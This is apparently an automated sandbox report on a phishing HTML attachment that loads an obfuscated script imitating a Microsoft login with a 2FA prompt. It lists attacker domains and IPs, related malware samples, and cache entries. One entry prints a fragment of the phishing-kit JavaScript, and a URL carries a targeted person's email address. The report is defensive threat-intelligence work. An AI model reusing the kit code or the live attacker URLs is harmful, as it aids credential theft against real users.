Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/ATT09858.htm	0%	Avira URL Cloud	safe
https://sender.linxcoded.top/start/xls/includes/css6.css	0%	Avira URL Cloud	safe
https://office.avcbtech.store/ncb/xls/n1c2b.js?uid=ap@cannara.ca	0%	Avira URL Cloud	safe
https://avcbtech.site/ncb/xwps.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0044.t-0009.fb-t-msedge.net	13.107.253.72	true	false	high
office.avcbtech.store	139.28.36.38	true	false	unknown
code.jquery.com	151.101.2.137	true	false	high
avcbtech.site	104.168.138.190	true	true	unknown
beacons-handoff.gcp.gvt2.com	142.250.186.99	true	false	high
server1.linxcoded.top	185.174.100.76	true	false	unknown
www.google.com	142.250.186.68	true	false	high
api.ipify.org	104.26.12.205	true	false	high
sender.linxcoded.top	185.174.100.20	true	false	unknown
ipv4.imgur.map.fastly.net	199.232.192.193	true	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
i.imgur.com	unknown	unknown	false	high
_3063._https.server1.linxcoded.top	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/ATT09858.htm	true	Avira URL Cloud: safe	unknown
https://avcbtech.site/ncb/xwps.php	true	Avira URL Cloud: safe	unknown
https://i.imgur.com/0HdPsKK.png	false		high
https://office.avcbtech.store/ncb/xls/n1c2b.js?uid=ap@cannara.ca	false	Avira URL Cloud: safe	unknown
https://sender.linxcoded.top/start/xls/includes/css6.css	false	Avira URL Cloud: safe	unknown
https://i.imgur.com/KAb5SEy.png	false		high
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://beacons.gcp.gvt2.com/domainreliability/upload	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_142.7.dr	false		high
https://getbootstrap.com)	chromecache_142.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
185.174.100.20	sender.linxcoded.top	Ukraine	8100	ASN-QUADRANET-GLOBALUS	false
199.232.196.193	unknown	United States	54113	FASTLYUS	false
104.26.13.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
199.232.192.193	ipv4.imgur.map.fastly.net	United States	54113	FASTLYUS	false
139.28.36.38	office.avcbtech.store	Ukraine	42331	FREEHOSTUA	false
142.250.113.94	unknown	United States	15169	GOOGLEUS	false
185.174.100.76	server1.linxcoded.top	Ukraine	8100	ASN-QUADRANET-GLOBALUS	false
104.168.138.190	avcbtech.site	United States	54290	HOSTWINDSUS	true
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.74.152	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16
192.168.2.9
192.168.2.18
192.168.2.5
192.168.2.23

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634292
Start date and time:	2025-03-10 20:50:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ATT09858.htm
Detection:	MAL
Classification:	mal80.phis.winHTM@41/23@43/18
Cookbook Comments:	Found application associated with file extension: .htm

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.174, 74.125.71.84, 142.250.181.227, 142.250.186.46, 142.250.185.78, 172.217.23.110, 142.250.184.206, 142.250.185.234, 216.58.212.170, 142.250.185.74, 142.250.186.42, 142.250.185.138, 142.250.184.234, 172.217.16.138, 142.250.185.170, 142.250.185.106, 142.250.185.202, 216.58.206.42, 142.250.181.234, 172.217.16.202, 142.250.74.202, 216.58.206.74, 172.217.18.10, 142.250.185.238, 142.250.184.238, 216.58.206.78, 142.250.185.174, 142.250.185.195, 142.250.186.67, 142.250.74.206, 142.250.186.78, 23.199.214.10, 23.60.203.209, 20.12.23.50, 150.171.28.10, 13.107.253.72
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, g.bing.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.174.100.20	https://keep.za.com/cgi//redirect.php#rbruening@elford.com	Get hash	malicious	HtmlDropper	Browse
	ATT-897850.htm	Get hash	malicious	HtmlDropper	Browse
	+11375 Caller left Vc MsG 8b1538917f01661e6746a0528d545dbeac3b40a5- 73945.msg	Get hash	malicious	HtmlDropper	Browse
	Play-Audio_Vmail_Ach Statement Credi....html	Get hash	malicious	HtmlDropper	Browse
	Play_VM.Now.matt.sibilo_Audio.wav...v.html	Get hash	malicious	HtmlDropper	Browse
	original (37).eml	Get hash	malicious	Unknown	Browse
	022 0.10.htm	Get hash	malicious	HTMLPhisher	Browse
104.26.13.205	get_txt.ps1	Get hash	malicious	LummaC Stealer	Browse	api.ipify.org/
	XkgoE6Yb52.ps1	Get hash	malicious	Unknown	Browse	api.ipify.org/
	R1TftmQpuQ.bat	Get hash	malicious	Targeted Ransomware	Browse	api.ipify.org/
	SpacesVoid Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Yoranis Setup.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	BiXS3FRoLe.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	lEUy79aLAW.exe	Get hash	malicious	TrojanRansom	Browse	api.ipify.org/
	Simple1.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
199.232.196.193	f38186770bffa4a12a7170942b9c0d71ac736142924da24a.ps1	Get hash	malicious	RHADAMANTHYS	Browse
	lumma.exe	Get hash	malicious	RHADAMANTHYS	Browse
	https://u.to/8eAUIg	Get hash	malicious	HTMLPhisher	Browse
	https://u.to/8eAUIg	Get hash	malicious	HTMLPhisher	Browse
	Factura_Pendiente.html	Get hash	malicious	Unknown	Browse
	Factura_Pendiente.html	Get hash	malicious	Unknown	Browse
	Remittance_Slip_kodiakbp.com.htm	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now_offshorerenewablesVWAV.htm	Get hash	malicious	HTMLPhisher	Browse
	Final Contract.htm	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/w/c/ce0aa4089a0cf823/IQQ-p_-u_0bbTp7ALMPgaKOzAZ_aMu35BXGkFN3emxCDEwQ	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
beacons-handoff.gcp.gvt2.com	https://ancollc.mrsnolas.com/	Get hash	malicious	Unknown	Browse	142.250.185.195
	https://bmra.prfortesystems.com/qlnh	Get hash	malicious	Unknown	Browse	172.217.18.99
	https://ancollc.mrsnolas.com/	Get hash	malicious	Unknown	Browse	142.251.143.35
	Fw Invitation for Eligibilitytrackingcalculators to Participate in Asset Growth.msg	Get hash	malicious	Unknown	Browse	142.250.180.67
	https://159.37.167.72.host.secureserver.net/y3qAxP.z/fZCS.JH.rVzHtO2y4BZnVbFtKvgy/g9wHi5aI6E/u0_110316__;!!MxXmjrCc_Bbh!G4rdY5yTB1smRq0XPJu6HXdxwP4WDp2MhHCMkzl2DxNzYmSyd10kGpYkCXGaH4BtO2HWpAciCDX1xp7-Zjy6iC3P1iFHwR34RbG1GMvmv7sI$	Get hash	malicious	Unknown	Browse	142.251.143.67
	https://tjjrotk.bishirian.my/	Get hash	malicious	HTMLPhisher	Browse	142.251.143.67
	https://manage.acces-contr0l.com.de/main	Get hash	malicious	Unknown	Browse	142.251.143.35
	https://excitedgleamingrefrigerate.com/vk5vsp1ayymkey=5e919c21ede3f1e9ee4f39f38bb2bdeb	Get hash	malicious	Unknown	Browse	142.251.143.35
	https://docs.google.com/forms/d/e/1FAIpQLSerD3TiLe71wYLfxltb7xs0UPwZ1bDohJF0kC_aBDKnCQeN0A/viewform?usp=send_form	Get hash	malicious	Unknown	Browse	142.251.143.35
	https://tron2wq18ufc.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	142.250.185.163
code.jquery.com	https://poshmark-bundle.sale/reit	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://aircarecolorado.com/	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	151.101.194.137
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	151.101.2.137
	RECHNUNG_Lieferschein_001927.htm	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#jake.totam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html#luke.tatam@southwark.anglican.org	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://railrent.pexrayitech.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://solinacenajdocs.gamerealm24.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	http://partybear.me	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
api.ipify.org	PatricksParabox.exe.bin.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	104.26.13.205
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	104.26.13.205
	uVEaZrbyd6.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	rEthE93UEz.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Wi8JY2Ta81.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	3SgC5vaFEg.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	BSDOC-2025.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	I24560875423784426VTL.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Transferencia Bancaria I2241624AH.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
s-part-0044.t-0009.fb-t-msedge.net	R.D. Bitzer Co. Inc.xlsm	Get hash	malicious	Unknown	Browse	13.107.253.72
	221036299-043825-sanlccjavap0004-6531.xls	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://assets-fra.mkt.dynamics.com/b3baa109-6efd-ef11-b016-002248d9b9fa/digitalassets/standaloneforms/fe7058e5-a1fd-ef11-bae3-000d3a959714#_msdynmkt_donottrack=0,_msdynmkt_linkid=37db13e4-8bf7-4e91-a0fa-9dd02c9e6ee4	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	https://0utl00k_secure_pdfsharing.wesendit.com/dl/9WeFG1R9WGJTbgaCO/a3Jpc3RhbC5wbGFpc3RlZEBzb2RleG8uY29t__;!!P5FZM7ryyeY!UznDjsW7gO6EJncqNmJhgeM1Zawk4R__aUyCoG6Jb-mYlr-79K2gn3tFm6bOpnkuKuN_n69fA8HZASZsr-9bQyk$	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://0utl00k_secure_pdfsharing.wesendit.com/dl/9WeFG1R9WGJTbgaCO/a3Jpc3RhbC5wbGFpc3RlZEBzb2RleG8uY29t__;!!P5FZM7ryyeY!UznDjsW7gO6EJncqNmJhgeM1Zawk4R__aUyCoG6Jb-mYlr-79K2gn3tFm6bOpnkuKuN_n69fA8HZASZsr-9bQyk$	Get hash	malicious	Unknown	Browse	13.107.253.72
	PastePictures 1.xla	Get hash	malicious	Unknown	Browse	13.107.253.72
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.72
	f1215469392.dll	Get hash	malicious	Unknown	Browse	13.107.253.72
	POETDB24-25771.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.72
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.72
office.avcbtech.store	ATT99718.htm	Get hash	malicious	Unknown	Browse	139.28.36.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://poshmark-bundle.sale/reit	Get hash	malicious	Unknown	Browse	104.17.245.203
	q2e132qweertgd.exe.bin.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.4.235
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	104.16.145.15
	download.php.exe.bin.exe	Get hash	malicious	Amadey, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.95.8
	PatricksParabox.exe.bin.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	SmartPDFPro.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	tsles(x86).exe	Get hash	malicious	LummaC Stealer	Browse	104.21.93.40
	URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	104.21.18.45
	https://ancollc.mrsnolas.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://bmra.prfortesystems.com/qlnh	Get hash	malicious	Unknown	Browse	172.67.171.180
CLOUDFLARENETUS	https://poshmark-bundle.sale/reit	Get hash	malicious	Unknown	Browse	104.17.245.203
	q2e132qweertgd.exe.bin.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.4.235
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	104.16.145.15
	download.php.exe.bin.exe	Get hash	malicious	Amadey, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.95.8
	PatricksParabox.exe.bin.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	SmartPDFPro.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	tsles(x86).exe	Get hash	malicious	LummaC Stealer	Browse	104.21.93.40
	URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	104.21.18.45
	https://ancollc.mrsnolas.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://bmra.prfortesystems.com/qlnh	Get hash	malicious	Unknown	Browse	172.67.171.180
ASN-QUADRANET-GLOBALUS	7I7TOCVsCr.exe	Get hash	malicious	XWorm	Browse	104.245.240.123
	gif.elf	Get hash	malicious	Xmrig	Browse	107.167.34.74
	gif.elf	Get hash	malicious	Xmrig	Browse	107.167.34.74
	apep.spc.elf	Get hash	malicious	Unknown	Browse	104.247.172.135
	gif.elf	Get hash	malicious	Xmrig	Browse	107.167.34.74
	https://www.google.com/url?q=https%3A%2F%2Fpoizonus.com%2Fsu&sa=D&sntz=1&usg=AOvVaw1vivNuhukc7YPqnTjOKT1g&af6pbi8nqbgwu55cw518lklmc8rlvoy3529npBRmIAzUEe9djvzki8kdrm19expwx==fFx66xNbaFwp2wAuYMKsTBscURqb78mwqYpIp~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~p0FmCojG8ZOE3336PK8YJ7SAxYr==X2K3pHjUpcsHSSJsm15nFJNZBrB3eBocYRd	Get hash	malicious	Unknown	Browse	104.245.240.188
	https://www.google.com/url?q=https%3A%2F%2Fpoizonus.com%2Fsu&sa=D&sntz=1&usg=AOvVaw1vivNuhukc7YPqnTjOKT1g&af6pbi8nqbgwu55cw518lklmc8rlvoy3529npBRmIAzUEe9djvzki8kdrm19expwx==fFx66xNbaFwp2wAuYMKsTBscURqb78mwqYpIp~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~p0FmCojG8ZOE3336PK8YJ7SAxYr==X2K3pHjUpcsHSSJsm15nFJNZBrB3eBocYRd	Get hash	malicious	HTMLPhisher	Browse	104.245.240.188
	XTN1VzRJZm.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	XTN1VzRJZm.exe	Get hash	malicious	Unknown	Browse	204.44.192.90
	GGP_DOCUMENTO CITACION AUDIENCIA_GGP.svg	Get hash	malicious	AsyncRAT, DcRat	Browse	104.245.240.63
FASTLYUS	https://poshmark-bundle.sale/reit	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://aircarecolorado.com/	Get hash	malicious	Unknown	Browse	151.101.66.137
	svchost.exe.bin.exe	Get hash	malicious	XWorm	Browse	185.199.108.133
	main.exe	Get hash	malicious	Xmrig	Browse	151.101.2.49
	https://dc1.convertc.com/event/v1/80401460/82362114/recentpurc/208463838.0153674575/6/cV9sU2Hc/B751BVZb/X.wgBlUMmEtoL7lLreHRS.dIbQhLbIKHVgjj1IvzEh_5AuOYVcDstYG0DCzEP9XO2LU-/click?url=https://gamma.app/docs/Sayer-Regan-Thayer-LLP-siiq7nvr7y2s7k4?mode=present#card-um3vy81gbcrpf02	Get hash	malicious	Unknown	Browse	151.101.2.217
	FW 188355..msg	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	Ontbrekende urenstaat.html	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	151.101.1.229
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	151.101.2.137
	https://github.com/fenwikk/rickroll/raw/main/roll.p1	Get hash	malicious	Unknown	Browse	185.199.109.133
FASTLYUS	https://poshmark-bundle.sale/reit	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://aircarecolorado.com/	Get hash	malicious	Unknown	Browse	151.101.66.137
	svchost.exe.bin.exe	Get hash	malicious	XWorm	Browse	185.199.108.133
	main.exe	Get hash	malicious	Xmrig	Browse	151.101.2.49
	https://dc1.convertc.com/event/v1/80401460/82362114/recentpurc/208463838.0153674575/6/cV9sU2Hc/B751BVZb/X.wgBlUMmEtoL7lLreHRS.dIbQhLbIKHVgjj1IvzEh_5AuOYVcDstYG0DCzEP9XO2LU-/click?url=https://gamma.app/docs/Sayer-Regan-Thayer-LLP-siiq7nvr7y2s7k4?mode=present#card-um3vy81gbcrpf02	Get hash	malicious	Unknown	Browse	151.101.2.217
	FW 188355..msg	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	Ontbrekende urenstaat.html	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	151.101.1.229
	https://publizr.com/alliedcon/allied-construction	Get hash	malicious	Gabagool	Browse	151.101.2.137
	https://github.com/fenwikk/rickroll/raw/main/roll.p1	Get hash	malicious	Unknown	Browse	185.199.109.133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65528), with no line terminators
Category:	downloaded
Size (bytes):	68421
Entropy (8bit):	4.894761663251169
Encrypted:	false
SSDEEP:	768:POyTtTOT+ThqdO31GqjkKB6wI7JoHHy6BKJwhXBXoXRn2CVWpgnEDUgUoCn4CSaO:POy5yC8yB6F5/VW4Hllbq
MD5:	33CD644DD523C2E9456E9B640666F252
SHA1:	B3878D016A90FA8FC8B9D508E625FF222B0A6412
SHA-256:	F1E8B60163D86FCDB8409511135ADE2F71062EBF7DB491167F849F8957AF6A60
SHA-512:	DAD0C10EE3C5786E7B62E1C179D86119045C5E05EEE063C961666D370B6658A66A7500D43BDCADD5D520A729899E214C9A818968485543900EBFB549018A9322
Malicious:	false
Reputation:	low
URL:	https://office.avcbtech.store/ncb/xls/n1c2b.js?uid=ap@cannara.ca
Preview:	function _0xe11b(){var _0x50d695=['#back','Incorrect\x202FA\x20code.\x20Try\x20again.','div6','#back-text','type','Microsoft','relay','6kgjXLC','style','page_visit','close','approve_signin','div5','https://www.office.com','#captcha-btn','.logoname','disabled','ajax','text','An\x20error\x20occurred\x20while\x20verifying\x20the\x20code.\x20Please\x20try\x20again.','#msg-2fa','Enter\x20your\x20email\x20address\x20or\x20phone\x20number.','#co','href','pointer-events','querySelector','input','div4','now','button:not(#dummy-bot-trap)','<img\x20src=\x22https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico\x22\x20class=\x22img-fluid\x20logoimg\x22\x20width=\x2220px\x22>\x20\x20<span\x20class=\x22align-middle\x20h5\x20logoname\x22\x20id=\x22mic\x22\x20style=\x22color:\x20#747474;\x22>Microsoft</span><br><br>\u00a0\u00a0\u00a0\u00a0<span\x20id=\x22aich\x22\x20style=\x22margin-left:\x20-16px;\x22></span><div\x20class=\x22py-2\x22><span\x20id=\x22ep\x22\x20class=\

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 679 x 574, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	48869
Entropy (8bit):	7.958559093833488
Encrypted:	false
SSDEEP:	768:ABND0dAJBykYjrl19H2rqdBDErhCGXvrxYZP+mFDFwnsQNPNto2r9t:fAJEkYjrfd2als/rxSFDFvQNP7osr
MD5:	8AA14660517F5460156FCCC2199CF83C
SHA1:	1B49B45651E812973D69A13CFCD137E0521B6DE6
SHA-256:	F2AA979677F3B905F64543C27FA26C6E31EF3320F44DD37F5136D267725AC495
SHA-512:	7530FB22377CBE1486DAD21F99D5F56D8AB2DAAC40EB56A030C8445F5814E097AC2C54AC81154BAD9AC1ADD5FC23D5C2FE4943F8039873D307B8A2C62973A02B
Malicious:	false
Reputation:	low
URL:	https://i.imgur.com/KAb5SEy.png
Preview:	.PNG........IHDR.......>.......4.....IDATx..w\|.......}7=..=.PB.T.."..E.`ET..E."RE....QD.>>...G9.z..P.^.j(!.HHH.6..:\.n....lv?.?\|mvg.{.....u_..2).b....@.`.......@'.....@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@.....X........P}... V........T...........@.......b..>....+@..N(.R.C...X....E..Qn...(.,.......T....hd.F.EA.$I.?.A.z.z..q..hd.........qWP.....E..,.eee..+**++.a. .>.....l4.M.h....j.Q.......y.....P}........#[.l.y.....=ZTTDK..@}\|\|\|.M.^ --..'.t8.f.Y.......P}P=yyy.........\X^^^QQ.^.e=I.r.z...v....v..bq:..$......o....;u.T.......T.T&''g............+.Ri..h4...0.LF..v.}~\|\|.5.\.....x.))).<..............T..W.k...?..cqqq....y..O..].v........Q......p.@....ZRS....h2.Hk...s..>\|..c...d..\..H..X,......s.;....h.9.2`I.......~4#_..w5..w..h....:77.../ .2......X,.(.,.d2I.D..r..........8...lF.......G-.L7..<.W.o6.......m.6.a......_[H...i`..Q8!--m.!.?.xFFF.......P.h....

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.4817145729860717
Encrypted:	false
SSDEEP:	3:YMWTTu4XW4n:YMWTqa9
MD5:	D61975DDB446FCC3E25C8600B615AE05
SHA1:	A5A55E045B270A9238C7E14910283F775E45B3A4
SHA-256:	D680E8FAD3B44333623A44875792FF7F6A66835F578DE4B8C72B328FD2AA2EE2
SHA-512:	552473FA4543784B185569502441701E7EB603A81E9D6BE48E29194333A7FB84712C59ABCCC32F0F1A1AE5FCC551654C394091A5A894FD966F74398B8C939939
Malicious:	false
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"216.131.87.23"}

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 679 x 574, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	48869
Entropy (8bit):	7.958559093833488
Encrypted:	false
